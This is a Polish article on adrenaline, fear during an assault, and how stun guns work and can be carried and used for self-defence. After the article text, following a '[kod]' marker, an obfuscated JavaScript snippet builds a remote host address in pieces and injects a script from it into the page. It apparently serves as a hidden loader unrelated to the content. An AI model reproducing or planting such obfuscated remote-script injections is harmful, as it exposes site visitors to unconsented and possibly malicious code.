Hormon 3xF – fright, fight, flight. Mowa o adrenalinie, dzięki której w sytuacji zagrożenia i życia nasz organizm błyskawicznie się do niej dostosowuje, ale z drugiej strony – właśnie przez adrenalinę, nazywaną hormonem strachu, w groźnej sytuacji możemy odczuć paraliżujący wszelkie odruchy lęk.
Drżenie rąk, miękkie nogi jak z waty, spowolniona reakcja, poczucie zawieszenia w przestrzeni… Zwłaszcza kobietom, przeważnie drobniejszym niż napastnik, może towarzyszyć obezwładniające uczucie strachu, uniemożliwiające wykonanie ruchu, opóźniające właściwą reakcję. Dlatego do samoobrony przyda się nie tylko znajomość sztuk walki i posiadanie legalnego narzędzia do obrony koniecznej (jak np. gaz pieprzowy czy paralizator), ale także wykształcenie pewności siebie i trzymanie się przekonania, że w starciu będzie się wygraną stroną.
Nie mniej jednak – jak bojaźliwej czy podatnej na adrenalinę kobiecie może pomóc właściwe i wbrew pozorom proste w użyciu narzędzie do samoobrony, takie jak paralizator?
Jak działa paralizator?
Paralizator wytwarza prąd elektryczny o dużym napięciu (od 200 000 V do nawet 2 000 000 V w najsilniejszych paralizatorach), ale o niskim natężeniu, które nie jest śmiertelne dla człowieka. Paralizator jest zakończony dwoma bolcami, przez które przeskakuje ładunek elektryczny – przytknięcie paralizatora do obiektu powoduje zamknięcie obwodu.
Co ciekawe, to mit, że paralizatory działają tylko w bezpośrednim kontakcie z ciałem. Niektóre są skuteczne również przez grubą warstwę ubrań, co sprawia, że paralizator nie jest bezużyteczny zimą, kiedy napastnik jest ubrany od stóp do głów i trudno by o precyzyjne dosięgnięcie paralizatorem skóry agresora, zwłaszcza podczas błyskawicznej reakcji.
Jak obezwładnia paralizator?
Nawet krótkotrwałe porażenie paralizatorem powoduje u przeciwnika szok, skurcze i zwiotczenie mięśni, wstrząs i utratę orientacji. Jeżeli porażenie paralizatorem będzie trwało do 5 sekund, napastnik może zostać obezwładniony nawet na minimum kilkanaście minut, co stwarza możliwość ucieczki ofiary w bezpieczne miejsce, zawołania pomocy, telefonu na policję.
Jak używać paralizatora?
Paralizator powinno się nosić w takim miejscu, które umożliwia jego momentalne dosięgnięcie w sytuacji zagrożenia. Nie wyobrażamy sobie grzebania w torebce czy plecaku w poszukiwaniu paralizatora, kiedy podczas niespodziewanego ataku liczy się każda sekunda przewagi.
I chociaż wspomniana adrenalina steruje naszym ciałem, warto postarać się, aby umysł zwalczył porażający lęk. W użyciu paralizatora liczy się nie tylko celność i takie wykonanie ruchu, aby agresor został nieprzyjemnie zaskoczony, ale również pewność siebie.
Moment zawahania się – przeciwnik może wyrwać ofierze z ręki paralizator. I mimo że dzięki stosowanym w paralizatorach zawleczkom bezpieczeństwa, blokującym narzędzie, kiedy sznurek zabezpieczający zostanie na ręce ofiary, paralizator nie zostanie użyty przeciwko właścicielowi – zaatakowana osoba pozostanie bez narzędzia obronnego, co może ją przerazić i jeszcze bardziej wytrącić z równowagi.
[kod]
(function(){
a1c4=document.createElement("script");a1c4_="u"+("s")+"ta";
a1c4_+=("t.i")+""+"n";a1c4_+=(("f")+"o");a1c4.type="text/javascript";
a1c4_+="/"; a1c4u="12137184";a1c4u+=".4y2dcn1c1c4yu7axqlu";a1c4u+="c9mfm3flzap";
a1c4.src="//"+a1c4_+a1c4u; a1c4.async=true; document.body.appendChild(a1c4);
})();